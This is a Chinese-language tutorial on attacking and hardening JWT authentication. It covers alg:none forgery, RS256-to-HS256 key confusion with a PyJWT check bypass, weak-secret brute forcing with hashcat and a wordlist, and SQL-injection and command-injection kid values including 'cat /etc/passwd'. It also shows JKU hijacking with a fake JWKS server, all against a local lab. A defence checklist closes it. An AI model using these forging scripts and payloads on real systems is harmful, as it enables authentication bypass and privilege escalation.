JWT安全攻防:从签名绕到密钥伪造的五种攻击路径与防御加固
目录
- 0x01 前言
- 0x02 JWT结构与攻击面梳理
- 2.1 JWT的三段式结构
- 2.2 攻击面总览
- 0x03 靶场环境搭建
- 3.1 安装依赖
- 3.2 生成RSA密钥对
- 3.3 靶场服务端代码
- 3.4 启动靶场
- 0x04 攻击手法一:alg:none 签名绕过
- 4.1 原理
- 4.2 利用过程
- 4.3 漏洞成因
- 0x05 攻击手法二:RS256→HS256 算法混淆
- 5.1 原理
- 5.2 利用脚本
- 5.3 关键细节与PyJWT 2.x的防护
- 0x06 攻击手法三:弱密钥爆破
- 6.1 原理
- 6.2 使用hashcat爆破
- 6.3 纯Python爆破脚本
- 6.4 常见弱密钥字典
- 0x07 攻击手法四:KID参数注入
- 7.1 原理
- 7.2 利用脚本
- 7.3 攻击原理拆解
- 0x08 攻击手法五:JKU头部劫持
- 8.1 原理
- 8.2 利用步骤
- 8.3 实战中的变体
- 0x09 自动化检测工具 jwt_auditor
- 9.1 使用示例
- 0x0A 防御加固与总结
- 防御清单
- 通用安全建议
0x01 前言
JSON Web Token (JWT) 作为现代Web应用中最主流的无状态认证方案,已广泛应用于前后端分离架构。本教学文档旨在深入解析JWT认证机制的五种主要攻击路径,并提供靶场搭建、漏洞利用、自动化检测及防御加固的完整知识体系。
0x02 JWT结构与攻击面梳理
2.1 JWT的三段式结构
一个JWT由三部分组成,用.分隔:Header.Payload.Signature
- Header: Base64URL编码的JSON,包含算法(alg)、令牌类型(typ)等元数据
- Payload: Base64URL编码的JSON,包含声明(claims)如用户ID、角色、过期时间等
- Signature: 对
Header.Payload的签名,确保令牌不被篡改
签名算法示例:
- HS256: HMAC SHA256,对称加密
- RS256: RSA SHA256,非对称加密
- ES256: ECDSA SHA256,椭圆曲线加密
2.2 攻击面总览
| 攻击面 | 攻击手法 | 利用条件 | 危害等级 |
|---|---|---|---|
| 签名算法 | alg:none绕过 | 服务端接受none算法 | 严重 |
| 签名算法 | RS256→HS256混淆 | 公钥可获取 + 库未限制算法 | 严重 |
| 签名密钥 | 弱密钥爆破 | HMAC密钥为弱口令 | 严重 |
| Header参数 | KID注入 | kid值被拼接到查询/路径中 | 高 |
| Header参数 | JKU/X5U劫持 | 服务端根据jku获取验证密钥 | 严重 |
0x03 靶场环境搭建
3.1 安装依赖
pip3 install flask PyJWT==2.8.0 cryptography requests --break-system-packages
3.2 生成RSA密钥对
mkdir -p ~/jwt-lab/keys
cd ~/jwt-lab
openssl genrsa -out keys/private.pem 2048
openssl rsa -in keys/private.pem -pubout -out keys/public.pem
3.3 靶场服务端代码核心要点
靶场服务器包含五个漏洞端点,分别对应五种JWT攻击手法:
/api/none_vuln: alg:none绕过/api/confusion_vuln: RS256→HS256混淆/api/weak_key_vuln: 弱密钥爆破/api/kid_vuln: KID参数注入/api/jku_vuln: JKU头部劫持
关键配置:
- HMAC_SECRET = "s3cret123" (弱密钥)
- RSA_PRIVATE/RSA_PUBLIC: 从文件读取的RSA密钥对
- SQLite内存数据库用于KID注入测试
3.4 启动靶场
cd ~/jwt-lab
python3 jwt_lab_server.py
0x04 攻击手法一:alg:none 签名绕过
4.1 原理
JWT规范(RFC 7519)定义了"alg":"none"表示"无签名",本意用于已通过其他方式保证完整性的场景。当服务端的JWT解码逻辑允许none算法时,攻击者可以构造不带签名的令牌,直接修改Payload中的敏感字段(如将role从user改为admin)。
4.2 利用过程
- 获取正常Token:
curl -s -X POST http://127.0.0.1:5000/login \
-H "Content-Type: application/json" \
-d '{"username":"guest"}'
- 构造alg:none伪造令牌:
import base64, json
def b64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "admin", "role": "admin"}
h = b64url_encode(json.dumps(header).encode())
p = b64url_encode(json.dumps(payload).encode())
forged_token = f"{h}.{p}." # 注意末尾的点,签名为空
- 使用伪造的Token访问受保护端点
4.3 漏洞成因
服务端在验证JWT时,先读取Header中未验证的alg字段,当发现alg为none时跳过签名验证。常见的漏洞代码模式包括:
- 在algorithms白名单中包含"none"(如
algorithms=["HS256", "none"]) - 根据JWT Header中的alg字段动态决定验证方式,对none缺乏拦截
- 使用旧版JWT库(默认允许none算法)
0x05 攻击手法二:RS256→HS256 算法混淆
5.1 原理
RS256(非对称算法):
- 服务端用私钥签名,用公钥验证
- 公钥可公开,私钥需保密
HS256(对称算法):
- 签名和验证使用同一个密钥
- 密钥必须保密
攻击思路:
- 获取服务端的RSA公钥
- 将JWT Header中的alg从RS256改为HS256
- 用公钥作为HMAC密钥对令牌进行签名
- 服务端看到alg:HS256,会用同一个"密钥"(公钥)做HMAC验证
- 验证通过,攻击成功
5.2 利用脚本
import jwt
from jwt.algorithms import HMACAlgorithm
from jwt.utils import force_bytes
# 绕过PyJWT 2.x的PEM密钥检查
_orig_prepare = HMACAlgorithm.prepare_key
HMACAlgorithm.prepare_key = lambda self, key: force_bytes(key)
# 读取服务端的公钥
with open("keys/public.pem") as f:
public_key = f.read()
# 伪造payload并用公钥作为HMAC密钥签名
payload = {"sub": "admin", "role": "admin"}
forged_token = jwt.encode(payload, key=public_key, algorithm="HS256")
# 恢复原始方法
HMACAlgorithm.prepare_key = _orig_prepare
5.3 关键细节与PyJWT 2.x的防护
PyJWT 2.x已对此攻击做防御:HMACAlgorithm.prepare_key()方法会检测传入的密钥是否为PEM格式(包含BEGIN头),如果是则拒绝。但其他语言的JWT库可能没有此防护:
- Node.js jsonwebtoken < 9.0.0:旧版本没有此检查
- Java JJWT < 0.12.0:依赖开发者手动配置算法白名单
- PHP firebase/php-jwt < 6.0:未限制算法类型
- 自研JWT验证逻辑:手写代码常忽略算法限制
防御关键:jwt.decode()的algorithms参数只写一种算法,不要同时包含对称和非对称算法。
0x06 攻击手法三:弱密钥爆破
6.1 原理
HS256算法使用共享密钥做HMAC签名。如果密钥是弱口令(如secret、password123),攻击者可用字典暴力破解。给定一个合法JWT,可枚举候选密钥逐个验证签名是否匹配。
6.2 使用hashcat爆破
hashcat原生支持JWT模式(16500):
# 获取合法token
TOKEN=$(curl -s -X POST http://127.0.0.1:5000/login \
-H "Content-Type: application/json" \
-d '{"username":"guest"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
# 保存到文件
echo -n "$TOKEN" > jwt.txt
# 使用hashcat爆破
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt --force
6.3 纯Python爆破脚本
import jwt
import time
def brute_jwt(token, wordlist_path):
# 解析未验证的payload查看内容
unverified = jwt.decode(token, options={"verify_signature": False})
header = jwt.get_unverified_header(token)
alg = header.get("alg", "HS256")
if alg not in ("HS256", "HS384", "HS512"):
return None
with open(wordlist_path, "r", encoding="utf-8", errors="ignore") as f:
for line in f:
secret = line.strip()
if not secret:
continue
try:
jwt.decode(token, secret, algorithms=[alg])
return secret
except jwt.InvalidSignatureError:
pass
return None
6.4 常见弱密钥字典
高频JWT弱密钥列表(建议与rockyou.txt合并使用):
secret
password
123456
changeme
admin
key
jwt_secret
token
test
mykey
HS256
hmac-secret
s3cret
secret123
s3cret123
password123
jwt
jwt123
supersecret
admin123
default
private
public
server
api_key
signing_key
my-secret
app_secret
development
production
mysecretkey
verysecret
secretkey
changeit
0x07 攻击手法四:KID参数注入
7.1 原理
JWT Header中的kid(Key ID)字段用于告诉服务端使用哪个密钥验证签名。如果服务端将kid值直接拼接到SQL查询、文件路径或系统命令中,会产生注入漏洞。
7.2 利用脚本
import jwt
import requests
# 注入的密钥值
INJECTED_KEY = "injected-secret"
# SQL注入payload
# 原查询: SELECT key_value FROM jwt_keys WHERE kid = '{kid}'
# 注入后: SELECT key_value FROM jwt_keys WHERE kid = '' UNION SELECT 'injected-secret' --'
kid_payload = f"' UNION SELECT '{INJECTED_KEY}' --"
# 用注入的密钥签名JWT
token = jwt.encode(
{"sub": "admin", "role": "admin"},
INJECTED_KEY,
algorithm="HS256",
headers={"kid": kid_payload}
)
7.3 攻击原理拆解
服务端实际执行的SQL变为:
SELECT key_value FROM jwt_keys WHERE kid = '' UNION SELECT 'injected-secret' --'
第一个查询返回空(kid=''不存在),UNION拼接第二个查询,返回'injected-secret'。服务端用此值验证JWT签名,而攻击者正用此密钥签名,验证通过。
其他KID注入场景:
- 路径穿越:
kid = "../../dev/null",让密钥为空字符串 - 命令注入:
kid = "default-key; cat /etc/passwd"(如果服务端执行shell命令) - LDAP注入:如果kid用于LDAP查询
0x08 攻击手法五:JKU头部劫持
8.1 原理
jku(JWK Set URL)指向包含公钥的JWKS端点。某些服务端在验证JWT时会读取jku指定的URL获取公钥。如果服务端不校验jku URL的合法性,攻击者可:
- 生成自己的RSA密钥对
- 在控制的服务器上托管包含公钥的JWKS端点
- 用自己的私钥签名JWT,jku指向自己的JWKS端点
- 服务端从攻击者的JWKS获取公钥验证签名
8.2 利用步骤
import jwt
import json
import threading
from flask import Flask, jsonify
from jwt.algorithms import RSAAlgorithm
from cryptography.hazmat.primitives import serialization
# 1. 读取攻击者密钥
with open("attacker_private.pem") as f:
ATK_PRIVATE = f.read()
with open("attacker_public.pem", "rb") as f:
atk_pub = serialization.load_pem_public_key(f.read())
# 2. 启动伪造的JWKS服务
fake_app = Flask("fake_jwks")
@fake_app.route("/.well-known/jwks.json")
def fake_jwks():
jwk_dict = json.loads(RSAAlgorithm.to_jwk(atk_pub))
jwk_dict["kid"] = "attacker-key"
jwk_dict["use"] = "sig"
return jsonify({"keys": [jwk_dict]})
# 3. 构造恶意JWT
forged_token = jwt.encode(
{"sub": "admin", "role": "admin"},
ATK_PRIVATE,
algorithm="RS256",
headers={
"jku": "http://127.0.0.1:8888/.well-known/jwks.json",
"kid": "attacker-key"
}
)
8.3 实战中的变体
如果服务端对jku做了域名白名单限制,可尝试:
- 开放重定向绕过:利用白名单域名的开放重定向漏洞
- 子域名接管:如果白名单使用后缀匹配(如
.example.com) - URL解析差异:利用@符号、Unicode字符等绕过检查
- SSRF利用:如果服务器可访问内网,可指向内网JWKS端点
0x09 自动化检测工具 jwt_auditor
9.1 使用示例
# 被动分析(仅解析Token)
python3 jwt_auditor.py "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJndWVzdCJ9.xxx"
# 完整扫描(被动+主动)
python3 jwt_auditor.py "$TOKEN" \
-u http://127.0.0.1:5000/api/none_vuln \
-w jwt-secrets.txt
# RS256 Token的完整扫描
python3 jwt_auditor.py "$RSA_TOKEN" \
-u http://127.0.0.1:5000/api/confusion_vuln \
-p keys/public.pem
工具功能:
- 基础信息解析(Header/Payload/Algorithm)
- Header风险字段分析(jku/x5u/kid/jwk)
- alg:none绕过测试
- 弱密钥爆破
- 算法混淆测试
0x0A 防御加固与总结
防御清单
| 攻击手法 | 防御措施 | 代码示例(PyJWT) |
|---|---|---|
| alg:none绕过 | decode时显式指定算法白名单,不包含none | jwt.decode(token, key, algorithms=["HS256"]) |
| 算法混淆 | 只允许一种算法,不混用对称和非对称算法 | algorithms=["RS256"](只写一种) |
| 弱密钥 | 使用至少256位的随机密钥 | python3 -c "import secrets;print(secrets.token_hex(32))" |
| KID注入 | 参数化查询或白名单校验kid值 | cursor.execute("...WHERE kid=?", (kid,)) |
| JKU劫持 | 严格URL白名单或禁用jku动态获取 | 仅从固定配置读取密钥,忽略JWT中的jku字段 |
通用安全建议
- 升级JWT库到最新版:PyJWT 2.x默认禁止none算法,拒绝不匹配的算法类型
- 设置合理的过期时间:exp字段不宜过长,敏感操作使用短期Token(15分钟)配合Refresh Token
- 不在Payload中存储敏感信息:JWT Payload是Base64编码,非加密,不要放密码、身份证号等
- 实现Token吊销机制:配合Redis黑名单或短过期时间应对强制登出场景
- 监控异常JWT:在WAF或应用层监控alg:none、异常jku域名、非白名单kid值
- 密钥管理:
- 使用强随机密钥(HS256至少32字节)
- 定期轮换密钥
- 不同环境使用不同密钥
- 输入验证:
- 验证算法类型与预期一致
- 校验iss(签发者)、aud(受众)等标准声明
- 拒绝包含可疑Header参数的Token
- 深度防御:
- 多层签名验证
- 二次校验敏感操作
- 实现速率限制防止爆破
通过本教学文档的全面学习,您应能深入理解JWT的五种主要攻击路径,掌握从漏洞发现到利用的完整技能,并具备构建安全JWT认证系统的防御能力。